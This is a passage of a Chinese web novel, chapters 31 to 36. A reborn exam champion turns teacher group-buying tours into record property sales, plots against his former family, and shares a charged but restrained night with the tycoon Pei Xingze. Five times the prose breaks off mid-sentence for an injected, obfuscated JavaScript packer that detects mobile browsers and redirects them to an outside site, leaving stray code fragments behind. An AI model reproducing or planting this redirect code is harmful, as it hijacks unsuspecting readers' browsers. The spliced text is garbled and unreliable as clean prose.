翁绍说完,又在群里发了三条大巴车的路线图,和抵达每位客户家门口的大概时间。 周铭京在群里回复道:【这路线图和发车时间是你自己画的?】 蒋睿给翁绍点了个赞。 早在高考刚结束那会儿,翁绍就很有心机的将自己在临湖雅苑当置业顾问的消息散播开了。一开始只有班主任陈老师对翁绍的兼职感兴趣,表达过想去临湖雅苑看房的意愿——不管买不买,总要支持一下学生的工作。 却没想到翁绍不出手则已,一出手就是一连串的摸排走访组合拳,把清源市大大小小的在售楼盘查了个底朝天,还在网上注册了几个账号,专门分享相关信息。 在翁绍潜移默化的科普和宣传下,跟陈老师在同一间办公室办公的几位老师,还有市一中其他年级的老师和教职员工们纷纷表示出了看房的兴趣。 翁绍便趁机建了一个看房群,将这些老师全部加到一个群里,约好了看房时间。 结果这件事情被张畅知道了。正好他们家最近也想买房子,张畅便找到翁绍,也进了看房群。张畅都进群了,跟翁绍同住在一个寝室的周铭京和蒋睿自然也不能落下。就这么一来二去,市一中好些学生家长也都进了看房群。把翁绍一个二百人的企鹅大群都加满员了。 等到高考出分,翁绍以高考状元的身份获得省教育局和市教育局的嘉奖。他的高考成绩连同过往事迹也被各大新闻媒体竞相曝光。 巨大的曝光度下,翁绍之前创建的几个社交账号一夜爆火。被翁绍的账号吸引,想要让翁绍带他们看房的网友也多了起来。翁绍来者不拒,索性又建了几个看房群。 而今天,就是翁绍组织市一中看房群的群友们团购看房的日子。 为了节省老师和学生家长们的时间成本,翁绍特地租了三辆大巴车,直接到客户家门口接人。 为了保证售楼处的服务质量,翁绍把第一批看房团的人数定在六十人。不过在接人的途中,出了一点小差错。有教师看房团的亲戚朋友们得知翁绍的团购看房计划,也表示要掺一脚。 他们没有翁绍的联系方式,索性在看房这天不请自来,最终导致乘坐大巴车到临湖雅苑售楼处看房的人数竟然超过了一百人。 早就得到通知的置业顾问们已经在售楼处严阵以待,看清来人的一瞬间,所有人都下意识堆起脸上的笑容,打起一万分精神迎接大客户。 售楼处经理更是悄悄冲着翁绍竖起大拇指。他单知道翁绍学习好,是省高考状元,却没想到他人缘也这么好,竟然能拉来这么多老师看房——这可都是优质客户资源啊! 这些人当中,如果能有三分之一的人选择买房,他们这个月的业绩至少能翻一番。这还只是第一批看房团!翁绍手上至少还有十个看房团! 售楼处经理带着精神饱满、热情洋溢的置业顾问们“扑向”看房团,在迎上看房团的瞬间分兵一对一,确保每一个置业顾问都能服务一到两位客户,不会让任何一名客户觉得自己被冷落。 这时候就能看出一支受过专业培训的销售团队有多厉害,每位置业顾问的话术和服务态度都完美得让人无可挑剔。 相比之下,把人带过来的翁绍反倒显得有些无所事事。 几个小时过后,原本只是有些看房意向,觉得可买可不买,或者可以再看看其他楼盘的看房团成员们,在置业顾问天花乱坠的销售话术下纷纷心动。几乎每个人都挑选到了自己心仪的房子。唯一的顾虑大概就是价格太贵。 这个时候便是翁绍的用武之地了。 “如果我们大家能一起签约的话,就可以谈团购价。人数越多,价格就越低。”翁绍说道。 “团购价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462727|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”一群人面面相觑,略显迟疑。 翁绍看了一眼时间,已经是下午一点多了:“大家都饿了吧。” 翁绍早就让食堂准备好了三荤一素的盒饭,还有每人一瓶饮料或矿泉水:“我们先吃饭,吃完慢慢聊。” 翁绍事先的想法是根据市一中教师买房的人数,精准的策划一个团购优惠方案,然后再拿着这套方案去跟学校工会谈,尽量争取最优惠的方案。毕竟翁绍在临湖雅苑做兼职销售的初衷就是让陈老师避开前世的烂尾楼。如果能够借此机会,让所有买房的老师都能得到优惠,那就更好了。 听到翁绍的提议,几位想要买房的学生家长还没开口,不请自来“蹭”团购看房团的人先着急了。 “我是二中的老师,我们就不能享受最优惠的团购方案吗?” “我是三中的。” “我是师院附小的老师……” “我是教育局的……” “我虽然不是老师,但我在国企上班……” “我也是事业单位的……” 翁绍早在大巴车上就基本摸清了这些人的背景,此刻听到他们自报家门,立刻拿出笔记本开始整理信息。然后表示:“我们接下来还会组织几场团购看房,如果你们单位想要买房的人多,我们统计了相关人数以后,也可以跟你们单位的工会谈一谈团购方案。” 翁绍话还没说完,一旁的售楼处经理已经激动到心潮澎湃了。 班主任陈老师突然开口:“既然咱们市有这么多老师都想买房,你有没有想过,把你的团购方案直接拿到教育局。如果能争取到局里的支持,就能让局里给各个学校直接下发通知,想买房的人就会主动来找你。” 听到陈老师的建议,售楼处经理的脑袋嗡一下就炸了。他不敢想象,如果他们真做成了这件事,临湖雅苑的销售业绩,乃至在业内的影响力,能够达到一个什么样的高度。 翁绍早有此意,但他还是一脸羞赧地问道:“我能行吗?” “这本来就是造福群众的好事,有什么不行的。”陈老师说道:“再说你可是咱们省的高考状元。别人或许不行,你肯定行。” 32.第 32 章 那天看房结束以后,翁绍和售楼处经理根据看房团的实际状况,连夜想出了一套针对本市教师职工的团购方案。 第二天早上,翁绍就拿着自己统计的看房团老师名单,还有这套新鲜出炉的团购方案,直接杀上了省教育局。 教育工委主席还记得这个家庭环境十分复杂的省高考状元,也知道翁绍凭借省高考状元的名声和超高的国民知名度拿到了不少广告代言,甚至被各大媒体评价为“靠知识改变命运的最佳典范”,但他没有想到两人的第二次见面竟然这么富有戏剧性。 他将翁绍和售楼处经理熬夜撰写的团购方案翻了一遍又一遍,不得不说,临湖雅苑给出的优惠条件确实很丰厚,连他自己都有点心动。 “……你们陈老师昨天晚上给我打电话的时候,也提了一嘴团购买房的事儿,你们给出的优惠条件确实不错。”工会主席说到这里,有些好奇地看向翁绍:“不过你不是已经接到很多品牌方的赞助和推广了吗?你现在应该不缺钱了,为什么还会选择在临湖雅苑售楼处当置业顾问?” 要知道他们这个年代,知识分子普遍还是很清高的。更不要说翁绍这个年纪的小孩子——刚刚考入全国知名大学,恰是风华正茂最轻铜臭的阶段。翁绍居然还能放下孔乙己的长衫,去售楼处当一名销售顾问,还能想到组织市一中的老师去售楼处团购看房……工会主席很好奇,究竟是什么原因促使翁绍做出这样的决定。 翁绍有些惊讶地抬起眼,他没想到陈老师竟然会提前给工会主席打电话讲团购的事。 “看来你还不知道这件事。”工会主席轻轻挑了下眉,意味深长地说道:“你们陈老师对你真是寄予厚望啊!” 翁绍抿了抿嘴,他觉得眼睛有点涨涨的:“陈老师对我很好。” “我也相信你们陈老师不会看错人。”工会主席用手指敲了敲翁绍精心撰写的团购方案:“穷则独善其身,达则兼济天下。陈老师大概希望你能成为这样的人。” “我会的。”翁绍轻轻答道。他深吸了一口气:“从小老师就教育我们人无信不立。我是在高考之前,向当时资助我的裴总提出了想去临湖雅苑售楼处当销售顾问的请求。裴总不仅答应了我的请求,还给我和我母亲提供了员工宿舍。还让售楼处经理亲自给我培训……” 翁绍坦诚说道:“后来高考出分,我意外考出了非常理想的成绩,并因此得到了许多品牌方的青睐,赚到了许多钱,但那都是以后的事情了。” “裴总当初都没有因为我缺乏工作经验,拒绝我的请求,我当然也不能因为自己不缺钱了,就不去临湖雅苑工作了。都是当初说好的事情,我不能不讲信用,更不能浪费裴总和我们经理的悉心栽培。而且在临湖雅苑当销售顾问这段时间,我确实学到了很多……”翁绍侃侃而谈。他的态度特别真诚,话里话外都非常感激裴行则的提携之恩。 工会主席默然不语儿。他觉得翁绍年纪轻轻,为人处事还有些稚嫩,甚至还有被人利用之嫌,但他也不得不承认,翁绍确实是个知恩图报的好孩子。 陈老师说得不错,这样聪明懂事的孩子,确实值得他们帮助提携。而且临湖雅苑给出的团购优惠,也确实很优惠。那天去看房的很多老师都心动了,这也体现了一部分民意。 工会主席暗暗点头,像这种顺水推舟的好事,他当然不会否决。 于是当天下午,省委教育工委就把临湖雅苑的团购方案,下发到了本省所有学校的邮箱和工作群里。 工会主席既然想要提携翁绍,留的联系方式自然也是翁绍的。 那天过后,翁绍的电话就跟开锅一样,一天24小时响个不停。 不仅清源市内的小、初、高中和几所高校,就连其他城、县的学校都开始联系翁绍——清源市是省会城市,不论经济发展还是其他方面,都是肉眼可见的未来可期。许多城市和县城的老师虽然不在清源市工作,但也倾向于在省会城市买套房,不管是做投资还是其他,都很划算。 于是接下来这一个月,翁绍按照平均一天组织两个看房团的频率,根据地缘远近,把所有客户按照不同的学校分门别类,分批拉到临湖雅苑去看房。 看房的流程和待遇也跟市一中一样,本市的就让大巴车直接到客户家门口接人,外地的就让客户在统一时间到统一地点集合——一般集合地点都选在各大学校门口,看房之后供一顿午饭,吃完饭再开车把人送回去。 一开始翁绍定的是吃完中饭或者晚饭就直接把人送回去,不过有些客户反应,他们好不容易来清源市一趟,看完房以后,还想在本地逛一逛。 翁绍针对客户的提议,便将回程的时间定在当天晚上或者第二天下午。这么一来,好多不想买房的教师职工竟然也报名了看房团,他们觉得自己就算不买房,免费来清源市玩一趟也很划算。 翁绍脑筋非常灵活,跟售楼处经理商议过后,直接把这次活动取名为【临湖雅苑教师回馈活动】,他们跟旅行社合作,制定了一条清源市一日游的线路,还请了不少媒体记者召开新闻发布会,以社会公益回馈教师为名,变相宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473014|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传临湖雅苑。 翁绍还亲自操刀,撰写了新版本的楼盘宣传文案。以“孟母三迁”为案例,表示临湖雅苑的业主有很多学校的特级教师,如果他们在临湖雅苑置业,耳濡目染,将来孩子的学业一定不成问题。 甭管这其中的逻辑能不能说得通,事关孩子的成长和未来,很多家长都是宁可信其有。于是临湖雅苑的销售状况更加火爆了。 在此期间,翁绍参与录制的《对话人生》,还有翁英雄和翁老爷子参加的《在线调解》也都先后播出了。 家境贫苦却积极进学的青年才子固然让人唏嘘怜爱;可残废的中年养父和年迈的亲生爷爷在镜头前的哭诉更是让人心生怜悯。 懂事聪慧乐于助人的高考状元,狼心狗肺忘恩负义的养子亲孙,究竟那一面才是真正的翁绍? 截然相反的两个采访在周末两天先后播出,直接在京海市电视台这个全国收视率最高的平台上打起了擂台。 看没看过这两期节目的观众和网友们都沸腾了,线上线下关于这件事的讨论层出不穷,各大媒体和营销号更像是闻到了血腥味的鲨鱼,连夜把翁绍和翁家那点陈芝麻烂谷子的往事再次翻腾出来供人茶余饭后的讨论。 舆论的爆炸式爆发再一次将炙手可热的翁绍推到了风口浪尖上。 伴随着线上线下的热议,翁绍也不忘在各大社交平台上继续发布临湖雅苑的宣传文案。他新建的看房群更是以细胞分裂的速度快速裂变。发展到后来,临湖雅苑的置业顾问都不够用了。裴氏地产不得不从其他几个高端楼盘临时调来几支销售团队,应付来自全国各地的看房团。 售楼处的同事们每天一睁眼,就是痛并快乐地接待看房团。每天下班以后,也不能按时下班,要将所有看房团客户的信息及时整理出来,然后根据客户的购买欲做进一步的筛选和跟进。 每天都累得像条狗一样,但是一想到不断上涨的业绩和绩效,所有人都精神抖擞,再也不觉得累。 就这么熬了一个多月,做月终总结的时候,临湖雅苑的销售额竟然突破了三个亿,消息一出,整个房地产界都炸了。 这天傍晚,翁绍难得准时下班。他刚走出临湖雅苑售楼处,就发现一辆黑色的劳斯莱斯幻影静静停在街边。 翁绍看了一眼车牌,嘴角不自觉地上扬。他脚步轻快地走到车前,没等敲窗,车门打开,西装革履的裴行则走了下来。 翁绍笑道:“都下班了,裴总怎么这个时候过来?” 裴行则道:“来接我的销冠下班。” 33.第 33 章 裴大总裁不远千里,从京海市赶到清源市,自然是为了给他的销冠先生庆功。 “……临湖雅苑的月末总结一交上去,整个集团都炸了。谁都没有想到你们能做出这么耀眼的成绩。现在临湖雅苑的宣传方案已经成为房地产界的经典案例。据我所知,各家都在开会讨论你们的宣传策划,看看能不能复制到其他的楼盘和领域。” 不要小瞧国人的跟风能力。自从临湖雅苑教师回馈活动一炮而红,整个房地产界都在跟风复制。你家回馈教师职工,他家就回馈医护人员,总之三百六十行,总能找出几个自带光环的职业来做宣传策划。就连裴氏集团都在看到临湖雅苑教师回馈活动的影响力后,连夜推出了裴氏地产全国教师回馈活动。 不过跟头一个吃到螃蟹的临湖雅苑比起来,其他楼盘明显缺少一个身为省高考状元的活动策划人,因此促销活动的反响并不热烈,宣传效果也达不到临湖雅苑的十分之一,还要被众多网友嘲笑是“东施效颦”。 当然这点伤害对于一心向“钱”看的资本家来说,根本不算什么。真正没面子的还是翁氏集团——不仅因为家丑损害了企业声誉,还因为安排翁英雄父子上节目卖惨的缘故,引发了网友们的恶感,直接导致翁氏集团旗下楼盘在上个月的业绩一落千丈。简直就是赔了夫人又折兵的典范。 “昨天开董事会的时候,董事长和其他几位董事还称赞我这个执行总裁慧眼识人,竟然能挖到你这么厉害的销冠,还说要在总部给你们举办庆功会。”裴行则说到这里,拿出一张邀请函,郑重其事地说道:“正好下个月就是裴氏集团成立一百周年的庆典晚宴。按照惯例,各地分公司和子公司都会挑选优秀员工出席晚宴,不知道销冠先生肯不肯赏脸?” 裴行则之所以这么问,是因为翁绍的兼职到下个月就结束了。如果他不肯赏脸的话,裴行则也没有办法强求他去。 “我爸爸很想见见你,”裴行则眼巴巴地看着翁绍。神情中既有大家对翁绍青眼相看的自豪,又带着一点害怕翁绍拒绝他的忐忑。尽管翁绍知道他是装的,也不忍心拒绝他:“我们家里人都很好奇,想要知道一个能让翁英杰连续吃瘪的青年才俊,到底是个什么样的人物。” 翁绍莞尔一笑,慢慢抽出裴行则手中的邀请函:“只是一个普通人而已,恐怕你家里人看到我以后会失望。” “怎么会呢。”裴行则笑吟吟道:“就算我家里人都是老花眼近视眼,也能一眼看到在黑夜中闪闪发光的皎皎明月。” 翁绍被逗笑了:“你们当总裁的,都是这么哄销冠的吗?” “我们当总裁的,可不会只靠一张嘴来哄销冠。”裴行则说着,将一个精致的黑色天鹅绒礼盒交给翁绍:“看看喜不喜欢?” 翁绍轻轻挑眉,看向裴行则。 裴行则给了翁绍一个眼神,语气和缓又亲昵地说道:“打开看看。” 翁绍打开礼盒,只见里面赫然放着一枚钥匙。 裴行则笑吟吟道:“之前是我考虑不周。你去京海市上学,怎么能没有一套京海市的房子呢?正好裴氏地产前两年在京海大学对面开发了一个新楼盘,我帮你选了一套。希望你会喜欢。” 翁绍道:“这个礼物太贵重了。” “你值得。”裴行则笑道:“贵重的礼物就该送给贵重的人。你不知道你的策划方案给集团带来了多大的利益。你不仅是临湖雅苑的销冠,还是整个集团的贵人。你一个人就撬动了至少十几个亿的利润,这还不算你在线上线下,给裴氏集团带来的正向曝光度……” “跟你为集团创造的利益相比,这套房子的价值根本不值一提。” “我们裴家不会亏待自己人,”裴行则说到这里微微一顿,他的目光直视翁绍,缓缓补充道:“我更不会。” 翁绍凝视着裴行则的眼睛。半晌,他低头一笑,收起钥匙:“多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478285|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢裴总赏识。” 裴行则吟吟一笑,追问道:“口说无凭,你想怎么谢我?” 翁绍同样眉眼含笑地看着裴行则。两人对视良久,翁绍轻笑着揶揄道:“裴总是不是从来都不知道‘客气’两个字怎么写?” 裴行则反问:“你想我对你客客气气?” 翁绍同样反问:“那么裴总想对我怎么‘不客气’?您说,我听听看。” 两人说到这里,不约而同地看向彼此。 此时劳斯莱斯恰好停在红灯前,昏黄的路灯照进车窗,在两人的脸上留下一道暗金色的光影。倏而车子启动,这条暗淡的流光便在两人的脸上一晃而过。像是黑暗中一抹带着金属光泽的利刃,划破暧昧的深处。 车厢内倏然一静,静得连彼此的呼吸都清晰可闻,近得连彼此的心跳都清晰可闻。 裴行则的目光下意识落在翁绍从不让人的一双薄唇上。他的修长双腿交叠,一只手随意放置在膝盖上,骨节分明的修长手指也随着他的视线无意识的轻轻捻动。 裴行则短暂回忆了一下两人在瞬息间的言语交锋,忍不住试探道:“如果我真的想要冒犯你一点点,就一点点的话,你会怎么做呢?” 翁绍定定看了裴行则许久,低眉浅笑道:“都说吃人嘴软,拿人手短,我收了裴总的钱,就是裴总的人。别说是一点点冒犯,就算是亿点点冒犯,我恐怕也只能忍受。毕竟这个世界上,我应该找不到比您出手更大方的老板了。” 翁绍说到这里,修长手指忽然挑起细细的钥匙圈晃了晃,试图用行动证明自己所言不虚。 窗外霓虹灯影一晃而过,银色的钥匙在漆黑的车厢中一闪一闪,裴行则的目光不由自主地落在翁绍勾着钥匙圈的指尖上。 良久,他忽然一笑,身形微微后仰,整个人看似松弛地靠在真皮后座上:“放心吧,你可是我精心挑选出来的销冠,我怎么舍得冒犯你呢。” 34.第 34 章 裴行则用手指漫不经心地敲打着膝盖,借助这个动作,他顺势侧身看向翁绍:“对了,你还记不记得你答应过我一件事?” 翁绍知道裴行则说的是哪件事,但他还是故作茫然地回想了一瞬:“什么事?” 裴行则也看穿了翁绍的故意,轻笑着揶揄道:“刚说你是我的贵人,你就开始忘事了?” 翁绍也笑:“我答应过你的事情可多了。你要是不说,我怎么知道你说的是哪一件?” 裴行则道:“那你猜猜看。我不信我们连这点儿默契都没有。” 他都这么说了,翁绍也只好满足他的这一点小骄矜:“不知道裴总这次到清源市出差,是想下榻在自家酒店,还是想住帝豪皇廷大酒店?需要我帮忙预订吗?” 裴行则知道翁绍是在打趣他们第一次见面的事,便也一本正经地分析道:“帝豪皇廷大酒店的服务虽然不错,但我担心他们的厨师长会在饭菜里吐口水……” 话说到这里,两人相视一笑,裴行则图穷匕见,矜持地道:“还是住在我们自己的酒店吧,至少能睡得安心点。” 话落,黑色的劳斯莱斯幻影恰到好处地停在酒店门口。 翁绍看了一眼坐在前排不动声色的司机和孟助理。两人虽未发声,却耳聪目明,连停车的时间都掌握得恰到好处。 察觉到翁绍的目光,孟助理回头微笑示意,转身下车,为老板和他的贵人打开车门。 一行四人走进酒店大堂,早就接到通知的总经理提前站在旋转门外,并没有偶像剧里所有员工列队欢迎裴总大驾光临的场面,孟助理走到前台,跟工作人员十分低调地完成了对接。便由总经理亲自引路,带着一行人进入观光电梯,直达顶层总统套房。 房内有主次卧室两间,裴行则笑问:“你想住在哪一间?” “客随主便。”翁绍靠在沙发背上,漫不经心地扯了扯领带:“我们是先去吃饭,还是先洗澡?” 裴行则:“……” 向来淡定自若的孟助理也不由自主地看了翁绍一眼,负责引路的总经理更是震惊到低眉敛目,不敢流露出一丝一毫的异样。 裴行则没有说话,他有些无奈地看向翁绍,挥挥手示意助理和经理都可以离开了。 等到偌大的总统套房内只剩下他们两个人,裴行则伸手握住翁绍的手腕,牵着他一步一步走进主卧室,非常克制地说道:“你今晚睡这里,祝你有个好眠。” 顿了顿,他又问道:“你有没有择席的毛病?喜欢睡软床还是硬床?喜欢睡什么样的枕头?” 裴行则转过头便怔住了——在他说话的时候,翁绍已经把领带扯下来扔到床上。 裴行则的视线便不由自主地落在那条细细的黑色领带上。昏暗的射灯笼罩着主卧室的方寸之间,那条黑色领带就如同一条丝滑的长蛇,静静趴伏在浅色的床罩上。 昏黄灯影摇曳,使得裴行则总有一种错觉,好像那条长蛇会在眨眼之间窜到他的身上,修长冰冷的躯体紧紧缠绕他的脖颈,手臂,胸膛,细腻冰凉的鳞片缓缓拂过他炙热的身躯,然后将他勒得无法呼吸。 然而那只是他的错觉。因为下一秒,翁绍便坐在了那条领带上。穿着西裤的修长双腿惬意交叠,好像是窄窄细细的蛇尾幻化成了两条腿。恍惚之间,他甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484525|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至听到有人在他耳边说话:“……我是客人,客人怎么能睡主卧呢?” 裴行则愣了片刻才回过神来。然后他意识到自己正站在翁绍的面前,从上往下凝视着翁绍微微扬起的苍白面庞。 昏黄的射灯从头顶打下来,暗淡的光线晕染着翁绍漆黑的头发眉眼、挺直的鼻梁和苍白薄削的唇瓣,这个角度让裴行则不由自主地生出了一丝古怪的欲望,于是他不由自主地后退半步,却依旧凝视着翁绍的眼眸:“在我这里,你从来都不是客人。” 裴行则缓缓屈膝,半跪式蹲在翁绍的面前。从这个角度看过去,他的视角跟翁绍的视角发生了一个非常巧妙的互换,以至于翁绍明明是翘着二郎腿坐在床边,却仍然可以俯视单膝跪蹲在他面前的裴行则。 那一瞬间,深藏在翁绍脑海中的记忆如同走马灯般闪现,每一帧都是裴行则与他相处时的画面。他们曾经无数次缠绵的亲吻、拥抱、肌肤相亲,然而在这一刻,记忆中的那个人却只是克制地蹲在他面前,不肯越雷池半步。 他的目光依旧亲昵,甚至炽热,却仍旧让翁绍感觉到陌生。 他不记得他。 “你是不是累了?”裴行则笑着说道:“是我考虑不周,明明知道你刚下班,却还是拽着你在外面逛了这么久。我们先去吃饭吧。吃完饭,再好好的洗个澡,叙叙旧。” “这么久没见,你有没有想我?” 翁绍坐在床上,默不作声地审视裴行则半晌,终于意识到了什么。他缓缓抬起手臂,当着裴行则的面,一颗一颗解开衬衫扣子。如同梦呓般,他轻声问道:“那你呢?这么久没见,你有没有想我?” 35.第 35 章 第二天早上,翁绍刚到售楼处,就被一脸兴奋的经理拽住了:“你听说了吗?下个月集团成立一百周年的庆典晚宴,咱们临湖雅苑的销售团队将会代表裴氏地产清源市分公司出席宴会。通知都已经下发到群里了,还让你作为优秀员工代表,上台分享销售经验呢。” 翁绍神色寡淡,明显有些兴趣缺缺,但还是弯了弯他那双多情的桃花眼,笑吟吟道:“恭喜大家。” 售楼处经理美滋滋道:“同喜同喜。” 其他人也都围了过来,笑嘻嘻道:“我在裴氏地产干了这么多年,还是第一次去总部参加周年庆典呢。” “我跟你一样,在裴氏地产干了这么多年,我连总部大门朝哪开都不知道。这回也算是涨见识了。” “这都要仰仗咱们的销冠同学,要不是翁绍想法子召集那么多看房团,咱们几个就算累死,也干不出这么牛逼的业绩。” 翁绍笑道:“这都是团队合作的成果,单靠我一个人,可做不到这些。” “你也不要太谦虚了。你的实力如何,我们大家可是有目共睹的。”售楼处经理拍了拍翁绍的肩膀,挤眉弄眼地说道:“上个月的工资已经发下来了。你的提成和奖金加起来,至少得有九百万吧?你还凭借一己之力,推动了整个房地产界的销售新模式,让裴氏地产一跃成为全国房地产界的销冠,就连公司股价都因此飙升了……也不知道总部会给你什么奖励。” 一个刚刚入行还不到两个月的新人,竟然在高手云集的裴氏地产拿到了含金量最高的销冠,两个月的提成都比许多人一辈子赚的钱还多。要说这样的人没有能力,谁都不信。 更何况翁绍的销冠还不是内卷同事竞争来的,他是带着整个团队一起飞一起赚。如今他们临湖雅苑销售团队最信服的人就是翁绍,如果可以的话,他们巴不得能跟翁绍共事一辈子。 只可惜翁绍只能在临湖雅苑干三个月,之后他就要去京海市读大学了。 “翁绍,我是真的舍不得你啊!” “如果你能留下来就好了,我把售楼处经理的位子让给你也行啊!” “是啊!是啊!跟你共事这两个月,是我参加工作以来,干得最爽的两个月了。我们要是能跟你干一辈子就好了。” 翁绍闻言只是浅浅一笑。 售楼处经理意犹未尽地追问:“你今后有什么打算?会在上学期间,转到京海市的楼盘继续做置业顾问吗?” 售楼处经理之所以这么问,也是有点小心思的。跟翁绍合作这两个月,他确实尝到了甜头。如果翁绍真打算在读书期间继续兼职置业顾问,他会想办法运作到京海市,争取跟翁绍去同一个楼盘。 翁绍摇摇头:“还没想好,但我大概率不会做重复的事。” 能赚钱的行当有很多,翁绍之所以会在高考之后选择到临湖雅苑当置业顾问,其中一个原因是想帮助陈老师避开上辈子的烂尾楼;另外一个原因是想借力打力,利用裴氏地产的楼盘,打压翁氏集团的基本盘。因为翁英杰的根基就是房地产开发。 如今裴氏地产旗下楼盘蒸蒸日上,翁氏集团旗下地产却受翁家丑闻影响,全国销量一落千丈。翁氏集团资金回流不如预期,翁英杰接下来的商业规划必受影响。至少翁氏集团上辈子竞拍成功的几块地皮,这辈子有他从中作梗,就不一定花落谁家。而翁氏集团没了那几块至关重要的地皮,就必定错失未来两年房价的报复性增长。 或许翁英杰能狠下心肠,用翁氏集团的优良资产向银行做抵押,换取大量资金竞拍地皮。翁绍相信翁英杰有这样的魄力。 可是这样一来,翁氏集团的资金链必然紧张。等到几年后那场席卷全球的经济危机爆发,翁氏集团可未必能像上辈子那样幸运的避开。 毕竟上辈子,从包工头白手起家的翁英杰根本就不懂什么是金融次贷;翁缜因循守旧,只能坐享其成;而翁绥一个读艺术的留学生,更是连公司财报都看不懂。是当时就读金融系的翁绍在研究全球金融市场时,意外发现了酝酿在大洋彼岸的次贷危机,而后顶着全家人的冷嘲热讽和鄙夷不屑,费心费力搜集资料和证据,几次三番说服翁英杰和翁氏集团的其他股东,终于赶在危机爆发前,将翁氏集团在国外的投资逐渐转移回国内。 这辈子,翁绍当然不会好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489955|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心提醒翁英杰。非但不会提醒,他甚至还会利用这次危机,好好的给翁英杰挖几个坑。他在翁氏集团当牛做马那么多年,后来又借助裴行则的力量收购了翁氏集团,他比任何人都知道这个庞然大物的弱点在什么地方。 他有的是手段对付翁家。 至于卖房之余,顺便攫取第二桶金,并借此机会进一步靠近裴行则,加深两人之间的联系……也不过是计划执行期间,顺水推舟的一点收获。 想到裴行则,翁绍不自觉地眼神放空,脸上的表情也逐渐变得麻木空洞。就像是一块香甜可口的奶油蛋糕,在华丽精美的透明橱窗里放置太久了,早已变得风干冷硬。 细腻绵密的奶油表层浮现出一颗颗细小的孔洞,或许还有一些隐秘的裂痕,纵横分布在不堪一击的蛋糕表面。悲戚的、麻木的风便从那些孔洞和细小裂痕中呼号而出。 翁绍恍惚间回到了昨天晚上,裴行则单膝跪在他的面前,捏了捏他的脸颊无奈叹息:“你知道你才十八岁吗?” 他目光灼灼地盯着翁绍,大拇指在翁绍的手背轻轻摩挲着,放肆却又克制地说道:“我知道你很聪明,也很敏锐,或许从我们第一次见面,不、应该是从我们未曾见面开始,你就知道,我注定会被你吸引。” “我喜欢你,但我没有那么畜牲。”他说到这里,在翁绍的额头上轻轻落下一个吻。 翁绍闭上眼,在轻如点水的触碰中,他听到裴行则柔声说道:“……我有耐心,等你长大。” 浓密的睫毛如同蝴蝶的羽翼,不安的颤抖着。酸楚的泪意在紧闭的双眸中不断积蓄,悄无声息地溢出眼角,又被人捏着下巴,轻柔的吻掉。他无力地蜷缩在裴行则的怀里,感受他胸腔跳动的声音。 在这个静谧而又温柔的良夜,无人知晓翁绍的悲戚。 他从地狱中来,犹如聊斋中画皮的恶鬼,披着年轻的皮囊,处心积虑地出现在爱人面前。 他本以为一切就此可以走回正轨,可是裴行则却说要等他长大。裴行则不知道的是,他等不到翁绍长大。他已经苍老了。 他年轻的身体里,囚禁着一个苍老的鬼魂。 36.第 36 章 时间进入八月份,翁绍明显更忙了。 由他一手策划,并且定时在社交网络更新的楼盘红黑榜、“教师回馈活动”,以及线上看房团售楼新模式在社会上引起巨大反响。八月上旬,裴氏地产按照惯例发布了月度销售报告,地产项目销售实现了将近8个亿的销售额,比排名第二位和第三位的地产公司的销售额加起来还多。 